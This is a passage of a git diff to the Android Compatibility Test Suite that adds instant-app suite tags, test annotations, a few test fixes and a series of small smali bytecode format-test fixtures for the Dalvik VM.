     public void testServiceWithNoFlags_shutsDownA11yService() throws IOException {
         turnAccessibilityOff();
         try {
@@ -307,6 +310,7 @@
         }
     }
 
+    @AppModeFull
     public void testServiceSupressingA11yServices_a11yServiceStartsWhenDestroyed()
             throws IOException, InterruptedException {
         turnAccessibilityOff();
@@ -326,6 +330,7 @@
         }
     }
 
+    @AppModeFull
     public void testServiceSupressingA11yServices_a11yServiceStartsWhenFlagsChange()
             throws IOException, InterruptedException {
         turnAccessibilityOff();

diff --git a/tests/tests/uidisolation/Android.mk b/tests/tests/uidisolation/Android.mk
index a820c95..39bc245 100644
--- a/tests/tests/uidisolation/Android.mk
+++ b/tests/tests/uidisolation/Android.mk

@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver
 

diff --git a/tests/tests/uirendering/AndroidTest.xml b/tests/tests/uirendering/AndroidTest.xml
index 17ec76f..369eb41 100644
--- a/tests/tests/uirendering/AndroidTest.xml
+++ b/tests/tests/uirendering/AndroidTest.xml

@@ -25,4 +25,10 @@
         <option name="runtime-hint" value="11m55s" />
         <option name="runner" value="android.uirendering.cts.runner.UiRenderingRunner" />
     </test>
+
+    <!-- Collect the files in the dump directory for debugging -->
+    <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
+        <option name="directory-keys" value="/sdcard/UiRenderingCaptures" />
+        <option name="collect-on-run-ended-only" value="true" />
+    </metrics_collector>
 </configuration>

diff --git a/tests/tests/view/Android.mk b/tests/tests/view/Android.mk
index e639b5c..6174a73 100644
--- a/tests/tests/view/Android.mk
+++ b/tests/tests/view/Android.mk

@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_MULTILIB := both
 

diff --git a/tests/tests/view/src/android/view/cts/KeyEventTest.java b/tests/tests/view/src/android/view/cts/KeyEventTest.java
index fde3f81..1d33865 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventTest.java

@@ -760,4 +760,37 @@
                 1, 0, KeyCharacterMap.VIRTUAL_KEYBOARD, 0, 0, InputDevice.SOURCE_TOUCHSCREEN);
         assertFalse(mKeyEvent.isLongPress());
     }
+
+    @Test
+    public void testKeyCodeFromString() {
+        assertEquals(KeyEvent.KEYCODE_A, KeyEvent.keyCodeFromString("KEYCODE_A"));
+        assertEquals(KeyEvent.KEYCODE_A, KeyEvent.keyCodeFromString("A"));
+        assertEquals(KeyEvent.KEYCODE_A,
+                KeyEvent.keyCodeFromString(Integer.toString(KeyEvent.KEYCODE_A)));
+        assertEquals(KeyEvent.KEYCODE_UNKNOWN, KeyEvent.keyCodeFromString("keycode_a"));
+        assertEquals(KeyEvent.KEYCODE_UNKNOWN, KeyEvent.keyCodeFromString("a"));
+        assertEquals(0, KeyEvent.keyCodeFromString("0"));
+        assertEquals(1, KeyEvent.keyCodeFromString("1"));
+        assertEquals(KeyEvent.KEYCODE_HOME, KeyEvent.keyCodeFromString("3"));
+        assertEquals(KeyEvent.KEYCODE_POWER,
+                KeyEvent.keyCodeFromString(Integer.toString(KeyEvent.KEYCODE_POWER)));
+        assertEquals(KeyEvent.KEYCODE_MENU,
+                KeyEvent.keyCodeFromString(Integer.toString(KeyEvent.KEYCODE_MENU)));
+        assertEquals(KeyEvent.KEYCODE_BACK, KeyEvent.keyCodeFromString("BACK"));
+        assertEquals(KeyEvent.KEYCODE_UNKNOWN, KeyEvent.keyCodeFromString("back"));
+
+        assertEquals(KeyEvent.KEYCODE_UNKNOWN,
+                KeyEvent.keyCodeFromString("KEYCODE_NOT_A_REAL_KEYCODE"));
+        assertEquals(KeyEvent.KEYCODE_UNKNOWN, KeyEvent.keyCodeFromString("NOT_A_REAL_KEYCODE"));
+        assertEquals(KeyEvent.KEYCODE_UNKNOWN, KeyEvent.keyCodeFromString("-1"));
+        assertEquals(KeyEvent.KEYCODE_UNKNOWN, KeyEvent.keyCodeFromString("1001"));
+        assertEquals(KeyEvent.KEYCODE_UNKNOWN, KeyEvent.keyCodeFromString("KEYCODE_123"));
+        assertEquals(KeyEvent.KEYCODE_UNKNOWN, KeyEvent.keyCodeFromString("KEYCODE"));
+        assertEquals(KeyEvent.KEYCODE_UNKNOWN, KeyEvent.keyCodeFromString("KEYCODE_"));
+        assertEquals(KeyEvent.KEYCODE_UNKNOWN, KeyEvent.keyCodeFromString(""));
+        assertEquals(KeyEvent.LAST_KEYCODE,
+                KeyEvent.keyCodeFromString(Integer.toString(KeyEvent.LAST_KEYCODE)));
+        assertEquals(KeyEvent.KEYCODE_UNKNOWN,
+                KeyEvent.keyCodeFromString(Integer.toString(KeyEvent.LAST_KEYCODE + 1)));
+    }
 }

diff --git a/tests/tests/webkit/AndroidManifest.xml b/tests/tests/webkit/AndroidManifest.xml
index 21e116d..6e3ba4e 100644
--- a/tests/tests/webkit/AndroidManifest.xml
+++ b/tests/tests/webkit/AndroidManifest.xml

@@ -20,6 +20,8 @@
 
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
+    <!-- Note: we must provide INTERNET permission for
+     ServiceWorkerWebSettingsTest#testBlockNetworkLoads -->
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <application android:maxRecents="1" android:usesCleartextTraffic="true">

diff --git a/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerWebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerWebSettingsTest.java
index 82b61bf..6569a4f 100644
--- a/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerWebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/ServiceWorkerWebSettingsTest.java

@@ -19,6 +19,8 @@
 import android.content.pm.PackageManager;
 import android.os.Process;
 import android.test.ActivityInstrumentationTestCase2;
+import android.webkit.ServiceWorkerController;
+import android.webkit.ServiceWorkerWebSettings;
 import android.webkit.WebSettings;
 import android.webkit.WebView;
 
@@ -28,7 +30,7 @@
 public class ServiceWorkerWebSettingsTest extends
         ActivityInstrumentationTestCase2<WebViewCtsActivity> {
 
-    private WebSettings mSettings;
+    private ServiceWorkerWebSettings mSettings;
     private WebViewOnUiThread mOnUiThread;
 
     public ServiceWorkerWebSettingsTest() {
@@ -41,7 +43,7 @@
         WebView webview = getActivity().getWebView();
         if (webview != null) {
             mOnUiThread = new WebViewOnUiThread(this, webview);
-            mSettings = mOnUiThread.getSettings();
+            mSettings = ServiceWorkerController.getInstance().getServiceWorkerWebSettings();
         }
     }
 
@@ -95,9 +97,10 @@
             return;
         }
 
-        boolean hasInternetPermission = getInstrumentation().getTargetContext().checkPermission(
-                android.Manifest.permission.INTERNET, Process.myPid(), Process.myUid())
-                == PackageManager.PERMISSION_GRANTED;
+        // Note: we cannot test this setter unless we provide the INTERNET permission, otherwise we
+        // get a SecurityException when we pass 'false'.
+        final boolean hasInternetPermission = true;
+
         assertEquals(mSettings.getBlockNetworkLoads(), !hasInternetPermission);
         for (boolean b : new boolean[]{false, true}) {
             mSettings.setBlockNetworkLoads(b);

diff --git a/tests/tests/widget/Android.mk b/tests/tests/widget/Android.mk
index 6f571cf..66473af 100644
--- a/tests/tests/widget/Android.mk
+++ b/tests/tests/widget/Android.mk

@@ -38,6 +38,6 @@
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 include $(BUILD_CTS_PACKAGE)

diff --git a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
index 6833771..7bbc08a 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java

@@ -129,7 +129,6 @@
     public void setup() throws Exception {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         final Activity activity = mActivityRule.getActivity();
-        activity.setTurnScreenOn(true);
         // Always use the activity context
         mContext = activity;
 

diff --git a/tests/tests/widget/src/android/widget/cts/TextClockTest.java b/tests/tests/widget/src/android/widget/cts/TextClockTest.java
index acb6796..0f55bbc 100644
--- a/tests/tests/widget/src/android/widget/cts/TextClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextClockTest.java

@@ -30,13 +30,13 @@
 import android.support.test.filters.MediumTest;
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
-import android.text.format.DateFormat;
 import android.util.MutableBoolean;
 import android.widget.TextClock;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -56,7 +56,7 @@
 public class TextClockTest {
     private Activity mActivity;
     private TextClock mTextClock;
-    private boolean mStartedAs24;
+    private String mDefaultTime1224;
 
     @Rule
     public ActivityTestRule<TextClockCtsActivity> mActivityRule =
@@ -66,12 +66,14 @@
     public void setup() throws Throwable {
         mActivity = mActivityRule.getActivity();
         mTextClock = mActivity.findViewById(R.id.textclock);
-        mStartedAs24 = DateFormat.is24HourFormat(mActivity);
+        mDefaultTime1224 = Settings.System.getString(mActivity.getContentResolver(),
+                Settings.System.TIME_12_24);
     }
 
+    @After
     public void teardown() throws Throwable {
-        int base = mStartedAs24 ? 24 : 12;
-        Settings.System.putInt(mActivity.getContentResolver(), Settings.System.TIME_12_24, base);
+        Settings.System.putString(mActivity.getContentResolver(), Settings.System.TIME_12_24,
+                mDefaultTime1224);
     }
 
     @Test

diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index 62407b7..7c55f90 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java

@@ -73,6 +73,8 @@
 import android.os.Looper;
 import android.os.Parcelable;
 import android.os.SystemClock;
+import androidx.annotation.IntDef;
+import androidx.annotation.Nullable;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.annotation.UiThreadTest;
 import android.support.test.filters.MediumTest;
@@ -148,9 +150,6 @@
 import android.widget.TextView.BufferType;
 import android.widget.cts.util.TestUtils;
 
-import androidx.annotation.IntDef;
-import androidx.annotation.Nullable;
-
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
@@ -207,7 +206,6 @@
     public void setup() {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivity = mActivityRule.getActivity();
-        mActivity.setTurnScreenOn(true);
         PollingCheck.waitFor(mActivity::hasWindowFocus);
     }
 

diff --git a/tests/ui/Android.mk b/tests/ui/Android.mk
index abdc148..2ff427d 100644
--- a/tests/ui/Android.mk
+++ b/tests/ui/Android.mk

@@ -29,7 +29,7 @@
 LOCAL_PACKAGE_NAME := CtsUiDeviceTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_SDK_VERSION := current
 

diff --git a/tests/vr/Android.mk b/tests/vr/Android.mk
index 56a7310..dfd5655 100644
--- a/tests/vr/Android.mk
+++ b/tests/vr/Android.mk

@@ -27,7 +27,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 

diff --git a/tests/vr/src/android/vr/cts/VrCpuTest.java b/tests/vr/src/android/vr/cts/VrCpuTest.java
index 8bc1aec..c6a094e 100644
--- a/tests/vr/src/android/vr/cts/VrCpuTest.java
+++ b/tests/vr/src/android/vr/cts/VrCpuTest.java

@@ -18,6 +18,7 @@
 import android.content.pm.PackageManager;
 import android.os.Process;
 import android.test.ActivityInstrumentationTestCase2;
+import com.android.compatibility.common.util.CddTest;
 
 public class VrCpuTest extends ActivityInstrumentationTestCase2<CtsActivity> {
     private CtsActivity mActivity;
@@ -25,7 +26,7 @@
     public VrCpuTest() {
         super(CtsActivity.class);
     }
-
+    @CddTest(requirement="7.9.2/C-1-1")
     public void testHasAtLeastTwoCores() {
         mActivity = getActivity();
         if (mActivity.getPackageManager().hasSystemFeature(

diff --git a/tests/vr/src/android/vr/cts/VrDisplayTest.java b/tests/vr/src/android/vr/cts/VrDisplayTest.java
index 0e91b4b..16de706 100644
--- a/tests/vr/src/android/vr/cts/VrDisplayTest.java
+++ b/tests/vr/src/android/vr/cts/VrDisplayTest.java

@@ -24,6 +24,7 @@
 import android.view.WindowManager;
 
 import java.nio.IntBuffer;
+import com.android.compatibility.common.util.CddTest;
 
 public class VrDisplayTest extends ActivityInstrumentationTestCase2<OpenGLESActivity> {
 
@@ -50,6 +51,7 @@
     /**
      * Tests that the refresh rate is at least 60Hz.
      */
+     @CddTest(requirement="7.9.2/C-1-15")
     public void testRefreshRateIsAtLeast60Hz() throws Throwable {
         final int NUM_FRAMES = 200;
         // Add an extra frame to allow the activity to start up.
@@ -74,6 +76,7 @@
     /**
      * Tests that the display resolution is at least 1080p.
      */
+    @CddTest(requirement="7.9.2/C-1-14")
     public void testDisplayResolution() {
         mActivity = getGlEsActivity(1, OpenGLESActivity.RENDERER_BASIC);
         if (!mActivity.supportsVrHighPerformance())

diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index b574612..4715f52 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk

@@ -38,7 +38,7 @@
 LOCAL_PACKAGE_NAME := CtsDeviceInfo
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts cts_instant
 
 include $(BUILD_CTS_DEVICE_INFO_PACKAGE)
 

diff --git a/tools/cts-preconditions/Android.mk b/tools/cts-preconditions/Android.mk
index 9c8cbf2..888eadc 100644
--- a/tools/cts-preconditions/Android.mk
+++ b/tools/cts-preconditions/Android.mk

@@ -34,7 +34,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_PACKAGE_NAME := CtsPreconditions
 

diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index cc8d76b..e9e6c73 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk

@@ -43,7 +43,7 @@
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_JAVA_LIBRARIES := dx dasm cfassembler junit-host jsr305lib d8
+LOCAL_JAVA_LIBRARIES := dx dasm cfassembler junit-host jsr305lib d8 smali
 
 LOCAL_CLASSPATH := $(HOST_JDK_TOOLS_JAR)
 
@@ -72,7 +72,7 @@
 vmteststf_dep_jars := \
     $(HOST_JDK_TOOLS_JAR) \
     $(cts-tf-dalvik-lib.jar) \
-    $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar d8.jar) \
+    $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar d8.jar smali.jar) \
     $(call intermediates-dir-for,JAVA_LIBRARIES,host-cts-vmtests-dot,HOST)/javalib.jar
 
 $(LOCAL_BUILT_MODULE): PRIVATE_SRC_FOLDER := $(LOCAL_PATH)/src

diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.smali
new file mode 100644
index 0000000..c588b28
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_1.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_1.java"
+.class  public Ldot/junit/format/f1/d/T_f1_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.smali
new file mode 100644
index 0000000..07a66b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_10.java"
+.class  public Ldot/junit/format/f1/d/T_f1_10;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.smali
new file mode 100644
index 0000000..63a9c67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_11.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_11.java"
+.class  public Ldot/junit/format/f1/d/T_f1_11;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.smali
new file mode 100644
index 0000000..14ce65c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_12.java"
+.class  public Ldot/junit/format/f1/d/T_f1_12;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.smali
new file mode 100644
index 0000000..c61dfbc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_2.java"
+.class  public Ldot/junit/format/f1/d/T_f1_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.smali
new file mode 100644
index 0000000..424d56d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_3.java"
+.class  public Ldot/junit/format/f1/d/T_f1_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.smali
new file mode 100644
index 0000000..a145569
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_4.java"
+.class  public Ldot/junit/format/f1/d/T_f1_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.smali
new file mode 100644
index 0000000..318039e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_5.java"
+.class  public Ldot/junit/format/f1/d/T_f1_5;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.smali
new file mode 100644
index 0000000..92b89cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_6.java"
+.class  public Ldot/junit/format/f1/d/T_f1_6;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.smali
new file mode 100644
index 0000000..2bc1c15
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_7.java"
+.class  public Ldot/junit/format/f1/d/T_f1_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.smali
new file mode 100644
index 0000000..6224337
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_8.java"
+.class  public Ldot/junit/format/f1/d/T_f1_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.smali
new file mode 100644
index 0000000..5288d5a
--- /dev/null
